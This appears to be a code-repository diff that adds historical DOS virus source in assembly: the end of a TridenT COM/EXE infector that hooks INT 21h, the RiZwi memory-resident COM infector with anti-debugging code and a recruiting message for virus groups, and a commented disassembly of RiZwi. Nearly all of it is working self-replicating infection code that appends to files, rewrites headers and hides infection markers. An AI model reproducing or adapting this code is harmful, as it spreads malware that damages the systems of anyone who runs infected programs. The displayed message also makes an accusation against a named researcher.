vir_install: xchg ax,bx ; install virus
|
||||
mov ax,es
|
||||
add ax,bx ; AX = virussegment
|
||||
mov es,ax
|
||||
mov cs:[vir_seg+bp],ax
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
lea si,[atlantic+bp] ; copy virus to
|
||||
lea di,es:0103h ; memory
|
||||
mov cx,len
|
||||
copy: movsb
|
||||
dec cx
|
||||
jnz copy
|
||||
|
||||
push ds
|
||||
pop es
|
||||
|
||||
hook_i21h: cli
|
||||
mov ax,3521h
|
||||
int 21h
|
||||
|
||||
mov ds,cs:[vir_seg+bp]
|
||||
mov [i21h],bx
|
||||
mov [i21h+2],es
|
||||
|
||||
; mov dx, offset ds:[mine_i21h]
|
||||
; mov ax,2521h
|
||||
; int 21h
|
||||
|
||||
mov ax,ds
|
||||
mov bx,ax
|
||||
mov dx, offset ds:[mine_i21h]
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ds:[4*21h],dx
|
||||
mov ds:[4*21h+2],bx
|
||||
|
||||
sti
|
||||
|
||||
|
||||
abort_install: mov ax,cs:[segm+bp]
|
||||
push ax
|
||||
pop es
|
||||
push es
|
||||
pop ds
|
||||
|
||||
end_install: retf
|
||||
|
||||
;*************************************************************************
|
||||
;* *
|
||||
;* I N T E R U P T H A N D L E R *
|
||||
;* *
|
||||
;*************************************************************************
|
||||
|
||||
mine_i24h: mov al,03h
|
||||
iret
|
||||
|
||||
mine_i21h: pushf ; check for
|
||||
cmp ax,3000h ; virus ID
|
||||
jne new_21h
|
||||
cmp dx,0aaaah
|
||||
jne new_21h
|
||||
mov dx,0bbbbh ; return ID
|
||||
popf
|
||||
iret
|
||||
|
||||
|
||||
new_21h: push ax ; save registers
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
push es
|
||||
push di
|
||||
push si
|
||||
|
||||
chk_open: xchg ax,bx
|
||||
cmp bh,3dh ; open file?
|
||||
je chk_com
|
||||
|
||||
chk_exec: cmp bx,04b00h ; execute file?
|
||||
je chk_com
|
||||
|
||||
continu: pop si ; restore registers
|
||||
pop di
|
||||
pop es
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
next: popf ; call original
|
||||
jmp dword ptr cs:[i21h] ; interupt
|
||||
|
||||
;**************************************************************************
|
||||
;* *
|
||||
;* C H E C K C O M / E X E F I L E *
|
||||
;* *
|
||||
;**************************************************************************
|
||||
|
||||
|
||||
chk_com: mov cs:[name_seg],ds
|
||||
mov cs:[name_off],dx
|
||||
cld
|
||||
|
||||
mov cx,0ffh
|
||||
push ds
|
||||
pop es
|
||||
push dx
|
||||
pop di
|
||||
mov al,'.'
|
||||
repne scasb
|
||||
cmp word ptr es:[di],'OC'
|
||||
jne chk_exe
|
||||
cmp word ptr es:[di+2],'M'
|
||||
jne continu
|
||||
jmp infect_com
|
||||
|
||||
|
||||
|
||||
chk_exe: cmp word ptr es:[di],'XE'
|
||||
jne continu
|
||||
cmp word ptr es:[di+2],'E'
|
||||
jne continu
|
||||
jmp infect_exe
|
||||
|
||||
|
||||
|
||||
;**************************************************************************
|
||||
;* *
|
||||
;* I N F E C T C O M - F I L E *
|
||||
;* *
|
||||
;**************************************************************************
|
||||
|
||||
infect_com: call init
|
||||
cmp cs:[fout],0ffh
|
||||
je close_file
|
||||
|
||||
mov cs:[type_host],'C'
|
||||
|
||||
mov ax,4200h ; go to start of file
|
||||
call mov_point
|
||||
|
||||
mov cx,03h
|
||||
mov ah,3fh
|
||||
lea dx,cs:[com_start]
|
||||
call do_int21h
|
||||
|
||||
mov ax,4200h
|
||||
call mov_point
|
||||
mov ax,4202h
|
||||
call mov_point
|
||||
|
||||
sub ax,03h
|
||||
mov cs:[lenght_file],ax
|
||||
|
||||
call write_jmp
|
||||
call write_vir
|
||||
|
||||
call save_date
|
||||
|
||||
close_file: mov bx,cs:[handle]
|
||||
mov ah,3eh
|
||||
call do_int21h
|
||||
|
||||
restore_int24h: mov dx,cs:[i24h]
|
||||
mov ds,cs:[i24h+2]
|
||||
mov ax,2524h
|
||||
call do_int21h
|
||||
|
||||
jmp continu
|
||||
|
||||
;**************************************************************************
|
||||
;* *
|
||||
;* I N F E C T E X E - F I L E *
|
||||
;* *
|
||||
;**************************************************************************
|
||||
|
||||
infect_exe: call init
|
||||
cmp cs:[fout],0ffh
|
||||
je close_file
|
||||
mov cs:[type_host],'E'
|
||||
|
||||
mov ax,4200h
|
||||
call mov_point
|
||||
mov ah,3fh
|
||||
mov cx,18h
|
||||
lea dx,[head_exe]
|
||||
call do_int21h
|
||||
|
||||
call inf_exe
|
||||
|
||||
call save_date
|
||||
jmp close_file
|
||||
|
||||
|
||||
;**************************************************************************
|
||||
;* *
|
||||
;* R O U T I N E S *
|
||||
;* *
|
||||
;**************************************************************************
|
||||
|
||||
get_ip: push sp ; get ip from stack
|
||||
pop bx
|
||||
mov ax, word ptr cs:[bx]
|
||||
mov bp,ax
|
||||
ret
|
||||
|
||||
init: mov cs:[fout],00h
|
||||
|
||||
call int24h
|
||||
call open_file
|
||||
jc error
|
||||
call set_atributes
|
||||
call get_date
|
||||
call chk_infect
|
||||
je error
|
||||
ret
|
||||
|
||||
error: mov cs:[fout],0ffh
|
||||
ret
|
||||
|
||||
|
||||
int24h: push cs
|
||||
pop ds
|
||||
mov ax,3524h
|
||||
call do_int21h
|
||||
mov cs:[i24h],bx
|
||||
mov cs:[i24h+2],es
|
||||
mov dx, offset mine_i24h
|
||||
mov ax,2524h
|
||||
call do_int21h
|
||||
ret
|
||||
|
||||
mov_point: push cs
|
||||
pop ds
|
||||
mov bx,cs:[handle]
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call do_int21h
|
||||
ret
|
||||
|
||||
open_file: mov ds,cs:[name_seg]
|
||||
mov dx,cs:[name_off]
|
||||
mov ax,3d02h
|
||||
call do_int21h
|
||||
|
||||
mov cs:[handle],ax
|
||||
mov bx,ax
|
||||
ret
|
||||
|
||||
set_atributes: mov ax,4200h
|
||||
mov ds,cs:[name_seg]
|
||||
mov dx,cs:[name_off]
|
||||
call do_int21h
|
||||
and cl,0feh
|
||||
mov ax,4301h
|
||||
call do_int21h
|
||||
ret
|
||||
|
||||
get_date: mov bx,cs:[handle]
|
||||
mov ax,5700h
|
||||
call do_int21h
|
||||
mov cs:[date],dx
|
||||
mov cs:[time],cx
|
||||
ret
|
||||
|
||||
chk_infect: push cs
|
||||
pop ds
|
||||
mov ax,4202h
|
||||
xor cx,cx
|
||||
sub cx,01h
|
||||
xor dx,dx
|
||||
sub dx,02h
|
||||
mov bx,cs:[handle]
|
||||
call do_int21h
|
||||
|
||||
mov ah,3fh
|
||||
mov cx,02h
|
||||
lea dx,cs:[file_id]
|
||||
call do_int21h
|
||||
|
||||
mov al, byte ptr cs:[file_id]
|
||||
mov ah, byte ptr cs:[file_id]+1
|
||||
cmp ax,[virus_id]
|
||||
ret
|
||||
|
||||
write_jmp: push cs
|
||||
pop ds
|
||||
mov ax,4200h
|
||||
call mov_point
|
||||
mov ah,40h
|
||||
mov cx,01h
|
||||
lea dx,cs:[jump]
|
||||
call do_int21h
|
||||
|
||||
mov ah,40h
|
||||
mov cx,02h
|
||||
lea dx,cs:[lenght_file]
|
||||
call do_int21h
|
||||
ret
|
||||
|
||||
write_vir: push cs
|
||||
pop ds
|
||||
mov ax,4202h
|
||||
call mov_point
|
||||
mov ah,40h
|
||||
mov cx,len
|
||||
mov dx,103h
|
||||
call do_int21h
|
||||
ret
|
||||
|
||||
save_date: mov ax,5700h
|
||||
call do_int21h
|
||||
mov cs:[date],dx
|
||||
mov cs:[time],cx
|
||||
ret
|
||||
|
||||
inf_exe: mov ax,word ptr cs:[head_exe+14h]
|
||||
mov cs:[exe_ip],ax
|
||||
mov ax, word ptr cs:[head_exe+16h]
|
||||
mov cs:[exe_cs],ax
|
||||
|
||||
mov ax,4200h
|
||||
call mov_point
|
||||
mov ax,4202h
|
||||
call mov_point
|
||||
mov bx,10h
|
||||
div bx
|
||||
sub ax, word ptr cs:[head_exe+08h]
|
||||
mov cs:[new_cs],ax
|
||||
mov cs:[new_ip],dx
|
||||
|
||||
call write_vir
|
||||
|
||||
mov ax,4200h
|
||||
call mov_point
|
||||
mov ax,4202h
|
||||
call mov_point
|
||||
mov bx,0200h
|
||||
div bx
|
||||
cmp dx,0000h
|
||||
jne not_zero
|
||||
jmp zero
|
||||
not_zero: inc ax
|
||||
zero: mov word ptr cs:[head_exe+02h],dx
|
||||
mov word ptr cs:[head_exe+04h],ax
|
||||
mov ax,cs:[new_ip]
|
||||
mov word ptr cs:[head_exe+14h],ax
|
||||
mov ax,cs:[new_cs]
|
||||
mov word ptr cs:[head_exe+16h],ax
|
||||
mov word ptr cs:[head_exe+0Eh],ax
|
||||
add word ptr cs:[head_exe+10],len_para
|
||||
|
||||
; mov word ptr cs:[head_exe+10],1000
|
||||
|
||||
mov ax,4200h
|
||||
call mov_point
|
||||
|
||||
mov ah,40h
|
||||
mov bx,cs:[handle]
|
||||
mov cx,18h
|
||||
lea dx,cs:[head_exe]
|
||||
|
||||
call do_int21h
|
||||
ret
|
||||
|
||||
do_int21h: pushf
|
||||
call dword ptr cs:[i21h]
|
||||
ret
|
||||
|
||||
;****************************************************************************
|
||||
;* *
|
||||
;* D A T A *
|
||||
;* *
|
||||
;****************************************************************************
|
||||
|
||||
type_host db 'C'
|
||||
com_start db 0cdh,20h,90h
|
||||
message db " Dedicated to Ritzen, our Minister of Education and Science."
|
||||
db " We are getting sick of your budget cuts so we hope that"
|
||||
db " you get sick of this virus.."
|
||||
db " (c) '93 by S.A.R. / TridenT ."
|
||||
exe_cs dw ?
|
||||
exe_ip dw ?
|
||||
new_cs dw ?
|
||||
new_ip dw ?
|
||||
vir_seg dw ?
|
||||
i21h dw 00h,00h
|
||||
i24h dw 00h,00h
|
||||
name_seg dw ?
|
||||
name_off dw ?
|
||||
lenght_file dw ?
|
||||
head_exe db 18 dup (?)
|
||||
handle dw ?
|
||||
fout db ?
|
||||
file_id dw ?
|
||||
jump db 0e9h
|
||||
date dw ?
|
||||
time dw ?
|
||||
segm dw ?
|
||||
virus_id dw "AP"
|
||||
last dw "AP"
|
||||
|
||||
end dummy
|
|
@ -0,0 +1,256 @@
|
|||
;
|
||||
; RiZwi Virus by John Tardy / Trident V1.1
|
||||
;
|
||||
; This is a tom-resident .com infector, including command.com. it attaches
|
||||
; itself at the eof. when the generation counter is between 200 and 240, a
|
||||
; timer counter will be started. when it reached 5000 hex ticks, it will
|
||||
; display a message with black chars and a red background in the upper corner.
|
||||
; The message says an important fact of Righard Zwienenberg, who is known in
|
||||
; The Netherlands as a anti-virus researcher. In fact, he did release a virus,
|
||||
; named "DUTCH-555". I know he did it accidentally, but you should do it. You
|
||||
; have to be on just one side, virus or antivirus. If you can't choose, then
|
||||
; stop with computing. If you choose, I hope you choose our side. It has more
|
||||
; possibilities and with your capabilities your virii could be well-known
|
||||
; (look at the VSUM for your ratings). Maybe you even choose to be part of
|
||||
; [NUkE] or Phalcon/Skism or even Trident.
|
||||
;
|
||||
; This is a bug-fix of V1.0, which kept the original interupt in the main
|
||||
; program, thus simply hanging. This one has also a little debugger trap.
|
||||
|
||||
Org 100h
|
||||
|
||||
Prg: Call On1
|
||||
On1: Pop Bp
|
||||
Sub Bp,On1
|
||||
Mov Ah,30h
|
||||
Int 21h
|
||||
Cmp Bx,'BC'
|
||||
Je Tooz
|
||||
|
||||
Mov Ah,2ah
|
||||
Int 21h
|
||||
In Al,21h
|
||||
Cmp Cx,1993
|
||||
Ja MakeRes
|
||||
Cmp Dh,4
|
||||
Ja MakeRes
|
||||
Tooz: Jmp DoCom
|
||||
|
||||
MakeRes: Or Al,02h
|
||||
Push Ax
|
||||
Mov Ax,351ch
|
||||
Int 21h
|
||||
Mov Word Ptr Cs:Old1c[0][Bp],Bx
|
||||
Mov Word Ptr Cs:Old1c[2][Bp],es
|
||||
Pop Ax
|
||||
Out 21h,Al
|
||||
CutIt: Mov Ax,3521h
|
||||
Int 21h
|
||||
Mov Word Ptr Cs:Old21[0][Bp],Bx
|
||||
Mov Word Ptr Cs:Old21[2][Bp],Es
|
||||
In Al,21h
|
||||
And Al,2
|
||||
Push Ax
|
||||
Mov Ax,Cs
|
||||
Dec Ax
|
||||
Mov Ds,Ax
|
||||
Cmp Byte Ptr Ds:[0],'Z'
|
||||
Jne DoCom
|
||||
Sub Word Ptr Ds:[3],PrgPar
|
||||
Sub Word Ptr Ds:[12h],PrgPar
|
||||
Lea Si,Prg[Bp]
|
||||
Mov Di,100h
|
||||
Pop Ax
|
||||
Cmp Al,2
|
||||
Jne CutIt
|
||||
Mov Ax,Word Ptr Ds:[12h]
|
||||
Sub Ax,10h
|
||||
Mov Es,Ax
|
||||
Mov Cx,PrgLen
|
||||
Push Cs
|
||||
Pop Ds
|
||||
Rep Movsb
|
||||
In Al,21h
|
||||
Xor Al,2
|
||||
Mov Ds,Es
|
||||
Out 21h,Al
|
||||
Mov Ax,251ch
|
||||
Lea Dx,New1c
|
||||
Int 21h
|
||||
Mov Ax,2521h
|
||||
Lea Dx,New21
|
||||
Int 21h
|
||||
DoCom: Push Cs
|
||||
Pop Ds
|
||||
Mov Es,Ds
|
||||
Mov Di,100h
|
||||
Push Di
|
||||
Lea Si,OrgPrg[Bp]
|
||||
Movsw
|
||||
Movsb
|
||||
Ret
|
||||
|
||||
OrgPrg DB 0CDh,020h
|
||||
DB '<27>'
|
||||
|
||||
Db '[TridenT]'
|
||||
|
||||
Dos: Pushf
|
||||
Call Dword Ptr Cs:[Old21]
|
||||
Ret
|
||||
|
||||
Db '{V1.1 Bugfix}'
|
||||
|
||||
Old21 DD 0
|
||||
New21: Cmp Ax,4b00h
|
||||
Je Exec
|
||||
Cmp Ah,30h
|
||||
Jne EOI
|
||||
Call Dos
|
||||
Mov Bx,'BC'
|
||||
Iret
|
||||
|
||||
EOI: Jmp Dword Ptr Cs:[Old21]
|
||||
|
||||
Exec: Push Ax
|
||||
Push Bx
|
||||
Push Cx
|
||||
Push Dx
|
||||
Push Si
|
||||
Push Di
|
||||
Push Ds
|
||||
Push Es
|
||||
Push Bp
|
||||
Push Ds
|
||||
Push Dx
|
||||
Mov Ax,4300h
|
||||
Call Dos
|
||||
Mov FAttr,Cx
|
||||
Xor Cx,Cx
|
||||
Mov Ax,4301h
|
||||
Call Dos
|
||||
Mov Ax,3d02h
|
||||
Call Dos
|
||||
Mov FHandle,Ax
|
||||
Xchg Ax,Bx
|
||||
Mov Ax,5700h
|
||||
Call Dos
|
||||
Mov Word Ptr Cs:[FTime],Cx
|
||||
Mov Word Ptr Cs:[FDate],Dx
|
||||
And Cx,1fh
|
||||
Cmp Cx,1fh
|
||||
Jne DoMore
|
||||
Close: Mov Ah,3eh
|
||||
Call Dos
|
||||
Pop Dx
|
||||
Pop Ds
|
||||
Mov Cx,FAttr
|
||||
Mov Ax,4301h
|
||||
Call Dos
|
||||
Jmp ShutDown
|
||||
DoMore: Mov Ah,3fh
|
||||
Push Cs
|
||||
Pop Ds
|
||||
Lea Dx,OrgPrg
|
||||
Mov Cx,3
|
||||
Call Dos
|
||||
Cmp Word Ptr Cs:[OrgPrg],'MZ'
|
||||
Je Close
|
||||
Cmp Word Ptr Cs:[OrgPrg],'ZM'
|
||||
Je Close
|
||||
Mov Ax,4202h
|
||||
Xor Cx,Cx
|
||||
Xor Dx,Dx
|
||||
Call Dos
|
||||
Sub Ax,3
|
||||
Mov Jump,Ax
|
||||
Mov Ah,40h
|
||||
Lea Dx,Prg
|
||||
Mov Cx,PrgLen
|
||||
Call Dos
|
||||
Mov Ax,4200h
|
||||
Xor Cx,Cx
|
||||
Xor Dx,Dx
|
||||
Call Dos
|
||||
Mov Ah,40h
|
||||
Lea Dx,Start
|
||||
Mov Cx,3
|
||||
Call Dos
|
||||
Mov Ax,5701h
|
||||
Mov Cx,FTime
|
||||
Mov Dx,FDate
|
||||
Or Cx,1fh
|
||||
Call Dos
|
||||
Inc Byte Ptr Cs:[FileCount]
|
||||
Jmp Close
|
||||
|
||||
ShutDown: Pop Bp
|
||||
Pop Es
|
||||
Pop Ds
|
||||
Pop Di
|
||||
Pop Si
|
||||
Pop Dx
|
||||
Pop Cx
|
||||
Pop Bx
|
||||
Pop Ax
|
||||
Jmp EOI
|
||||
|
||||
Old1c DD 0
|
||||
|
||||
New1c: pushf
|
||||
push ax
|
||||
push cx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
Cmp Byte Ptr Cs:[FileCount],200
|
||||
Jb EOI16
|
||||
Cmp Byte Ptr Cs:[FileCount],240
|
||||
Ja EOI16
|
||||
|
||||
Cmp Word Ptr Cs:[ActCount],5000h
|
||||
Je Activate
|
||||
Inc Word Ptr Cs:[ActCount]
|
||||
Jmp EOI16
|
||||
|
||||
Activate:
|
||||
Mov Ds,Cs
|
||||
Mov Ax,0b800h
|
||||
|
||||
Mov Es,Ax
|
||||
Lea Si,ScrMsg
|
||||
Mov Di,160
|
||||
Sub Di,ScrLen
|
||||
|
||||
Mov Cx,ScrLen
|
||||
Rep MovSb
|
||||
|
||||
EOI16: pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop cx
|
||||
pop ax
|
||||
popf
|
||||
iret
|
||||
|
||||
ScrMsg Db ' OROiOgOhOaOrOdO OZOwOiOeOnOeOnObOeOrOgO OmOaOdOeO OtOhOeO ODOUOTOCOHO-O5O5O5O OVOiOrOuOsO!O!O!O O'
|
||||
ScrLen Equ $-ScrMsg
|
||||
|
||||
FileCount Db 0
|
||||
ActCount Dw 0
|
||||
Start Db 0e9h
|
||||
Jump Dw 0
|
||||
FAttr Dw 0
|
||||
FHandle Dw 0
|
||||
FDate Dw 0
|
||||
FTime Dw 0
|
||||
|
||||
PrgLen Equ $-Prg
|
||||
PrgPar Equ (PrgLen+0fh)/16
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
@ -0,0 +1,297 @@
|
|||
;Rizwi Virus from the TridenT research group.
|
||||
;Memory resident .COM infector.
|
||||
|
||||
;This virus is only active after the spring of 1994.
|
||||
;When active, it infects .COM files on execution, and keeps
|
||||
;track of the number of files that it has infected. While it has
|
||||
;infected between 0C8h and 0f0h files, it displays the message
|
||||
;that " Righard Zwienenberg made the DUTCH-555 virus!!! " on
|
||||
;the screen.
|
||||
|
||||
;This virus has some anti-debugging code, as it masks the keyboard
|
||||
;interrupt and checks to see if it remaines masked, so when debugging
|
||||
;through it one must jump over these sections of code (In/Out port 21h
|
||||
;and the checking of ax accompanying them).
|
||||
|
||||
;Disassembly by Black Wolf
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
|
||||
org 100h
|
||||
|
||||
start:
|
||||
call Get_Offset
|
||||
Get_Offset:
|
||||
pop bp
|
||||
sub bp,offset Get_Offset
|
||||
|
||||
mov ah,30h
|
||||
int 21h ;Get Dos version/Install Check
|
||||
|
||||
cmp bx,4243h
|
||||
je DoneInstall ;Already Installed
|
||||
|
||||
mov ah,2Ah
|
||||
int 21h ;Get date
|
||||
|
||||
in al,21h ;Read interrupt masks...
|
||||
|
||||
cmp cx,1993 ;Is year later than 1993?
|
||||
ja GoMemRes ;If not, exit.
|
||||
|
||||
cmp dh,4
|
||||
ja GoMemRes ;Is month < May, exit.
|
||||
DoneInstall:
|
||||
db 0e9h,74h,0 ;jmp ReturnToHost
|
||||
|
||||
GoMemRes:
|
||||
or al,2
|
||||
push ax
|
||||
mov ax,351Ch
|
||||
int 21h ;Get timer interrupt
|
||||
|
||||
mov cs:[Int1cIP+bp],bx
|
||||
mov cs:[Int1cCS+bp],es
|
||||
|
||||
pop ax
|
||||
out 21h,al ;Interrupt - disable keyboard?
|
||||
|
||||
SetInterrupts:
|
||||
mov ax,3521h
|
||||
int 21h ;Get int 21 address
|
||||
|
||||
mov word ptr cs:[OldInt21+bp],bx
|
||||
mov word ptr cs:[OldInt21+2+bp],es
|
||||
in al,21h
|
||||
and al,2
|
||||
push ax
|
||||
|
||||
mov ax,cs
|
||||
dec ax
|
||||
mov ds,ax ;Set DS = MCB
|
||||
cmp byte ptr ds:0,'Z' ;Are we at the end of the
|
||||
jne ReturnToHost ;memory chain?
|
||||
|
||||
;sub word ptr ds:[3],27h ;Decrease MCB size
|
||||
db 81h,2eh,03,0,27h,0
|
||||
|
||||
;sub word ptr ds:[12h],27h ;Decrease PSP top of memory
|
||||
db 81h,2eh,12h,0,27h,0
|
||||
|
||||
lea si,[bp+100h] ;SI = beginning of virus
|
||||
mov di,100h ;DI = new offset (100h)
|
||||
|
||||
pop ax
|
||||
cmp al,2 ;Did someone skip interrupt
|
||||
jne SetInterrupts ;disabling code? If so,
|
||||
;loop them back to redo
|
||||
;interrupt setting.
|
||||
|
||||
|
||||
mov ax,ds:[12h] ;Get free segment
|
||||
sub ax,10h ;Subtract 10h to account for
|
||||
mov es,ax ; offset of 100h
|
||||
mov cx,263h
|
||||
push cs
|
||||
pop ds
|
||||
rep movsb ;Copy virus into memory
|
||||
in al,21h
|
||||
xor al,2
|
||||
push es
|
||||
pop ds
|
||||
out 21h,al ;Do the keyboard int again...
|
||||
|
||||
mov ax,251Ch
|
||||
mov dx,offset Int1cHandler
|
||||
int 21h ;Set int 1ch
|
||||
|
||||
|
||||
mov ax,2521h
|
||||
mov dx,offset Int21Handler
|
||||
int 21h ;Set int 21h
|
||||
|
||||
ReturnToHost:
|
||||
push cs ;Restore Seg regs
|
||||
pop ds
|
||||
push ds
|
||||
pop es
|
||||
mov di,100h
|
||||
push di
|
||||
lea si,[bp+Storage_Bytes] ;Storage bytes
|
||||
movsw
|
||||
movsb ;Restore host
|
||||
ret
|
||||
|
||||
|
||||
Storage_Bytes:
|
||||
int 20h
|
||||
popf
|
||||
|
||||
TridenT_ID db '[TridenT]'
|
||||
|
||||
FakeInt21h:
|
||||
pushf
|
||||
call dword ptr cs:OldInt21 ;Fake Interrupt 21h
|
||||
retn
|
||||
|
||||
|
||||
VirusVersion db '{V1.1 Bugfix}'
|
||||
|
||||
OldInt21 dw 0, 0
|
||||
|
||||
Int21Handler:
|
||||
cmp ax,4b00h
|
||||
je IsExecute
|
||||
cmp ah,30h
|
||||
jnz ExitInt21
|
||||
call FakeInt21h
|
||||
mov bx,4243h
|
||||
iret
|
||||
|
||||
ExitInt21:
|
||||
jmp dword ptr cs:OldInt21
|
||||
|
||||
IsExecute:
|
||||
push ax bx cx dx si di ds es bp ds dx
|
||||
|
||||
mov ax,4300h
|
||||
call FakeInt21h ;Get attributes
|
||||
|
||||
mov FileAttribs,cx ;Save them
|
||||
xor cx,cx
|
||||
mov ax,4301h ;Reset Attributes
|
||||
call FakeInt21h
|
||||
|
||||
mov ax,3D02h ;Open file
|
||||
call FakeInt21h
|
||||
|
||||
mov Filehandle,ax
|
||||
xchg ax,bx
|
||||
mov ax,5700h
|
||||
call FakeInt21h ;Get file date/time
|
||||
mov cs:[FileTime],cx ; and save them
|
||||
mov cs:[FileDate],dx
|
||||
and cx,1Fh
|
||||
cmp cx,1Fh ;Check infection in time stamp
|
||||
jne Infect_File
|
||||
|
||||
|
||||
CloseFile:
|
||||
mov ah,3Eh
|
||||
call FakeInt21h
|
||||
|
||||
pop dx ;Pop filename address
|
||||
pop ds
|
||||
mov cx,FileAttribs
|
||||
mov ax,4301h
|
||||
call FakeInt21h ;Reset Attributes
|
||||
|
||||
db 0e9h, 67h, 0 ;jmp DoneInfect
|
||||
|
||||
Infect_File:
|
||||
mov ah,3Fh
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,offset Storage_Bytes
|
||||
mov cx,3
|
||||
call FakeInt21h ;Read in first 3 bytes
|
||||
|
||||
cmp word ptr cs:[Storage_Bytes],4D5Ah ;Is EXE?
|
||||
je CloseFile
|
||||
cmp word ptr cs:[Storage_Bytes],5A4Dh ;Is alternate EXE?
|
||||
je CloseFile
|
||||
|
||||
mov ax,4202h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call FakeInt21h ;Go to the end of file
|
||||
|
||||
sub ax,3 ;adjust size for jump
|
||||
mov word ptr [JumpSize],ax ;save jump size
|
||||
|
||||
mov ah,40h
|
||||
mov dx,100h
|
||||
mov cx,263h
|
||||
call FakeInt21h ;Append Virus to host
|
||||
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
xor dx,dx ;Go to beginning
|
||||
call FakeInt21h ;of host file.
|
||||
|
||||
mov ah,40h
|
||||
mov dx,358h
|
||||
mov cx,3
|
||||
call FakeInt21h ;Write Jump bytes
|
||||
|
||||
mov ax,5701h
|
||||
mov cx,[FileTime]
|
||||
mov dx,[FileDate]
|
||||
or cx,1Fh ;Mark infection in time stamp
|
||||
call FakeInt21h ;Restore time/date
|
||||
|
||||
inc byte ptr cs:[Counter] ;Activation counter...
|
||||
jmp short CloseFile
|
||||
|
||||
DoneInfect:
|
||||
pop bp es ds di si dx cx bx ax
|
||||
jmp ExitInt21
|
||||
|
||||
Int1cIP dw 0
|
||||
Int1cCS dw 0
|
||||
|
||||
Int1cHandler: ;While infections are between C8h and F0h,
|
||||
;Stick message on screen every once in a while.
|
||||
pushf
|
||||
push ax cx si di ds es
|
||||
cmp byte ptr cs:[Counter],0C8h
|
||||
jb ExitInt1c
|
||||
cmp byte ptr cs:[Counter],0F0h
|
||||
ja ExitInt1c
|
||||
cmp word ptr cs:[TimerCount],5000h
|
||||
je WriteMessageToScreen
|
||||
inc word ptr cs:[TimerCount]
|
||||
|
||||
db 0e9h,16h,0 ;jmp ExitInt1c
|
||||
|
||||
WriteMessageToScreen:
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,0B800h ;Text Screen memory
|
||||
mov es,ax
|
||||
mov si,offset Message
|
||||
mov di,0A0h
|
||||
db 81h,0efh,62h,0 ;sub di,EndMessage-Message
|
||||
mov cx,EndMessage-Message
|
||||
rep movsb
|
||||
|
||||
ExitInt1c:
|
||||
pop es ds di si cx ax
|
||||
popf
|
||||
iret
|
||||
|
||||
;Message says " Righard Zwienenberg made the DUTCH-555 virus!!! "
|
||||
;Capital O's are attribute values....
|
||||
|
||||
Message:
|
||||
db ' OROiOgOhOaOrOdO OZOwOiOeOnOeOnO'
|
||||
db 'bOeOrOgO OmOaOdOeO OtOhOeO ODOUO'
|
||||
db 'TOCOHO-O5O5O5O OVOiOrOuOsO!O!O!O'
|
||||
db ' O'
|
||||
EndMessage:
|
||||
|
||||
Counter db 0
|
||||
|
||||
TimerCount dw 0
|
||||
|
||||
JumpBytes db 0E9h
|
||||
JumpSize dw 0
|
||||
|
||||
FileAttribs dw 0
|
||||
Filehandle dw 0
|
||||
FileDate dw 0
|
||||
FileTime dw 0
|
||||
|
||||
end start
|
||||
|
Loading…
Reference in New Issue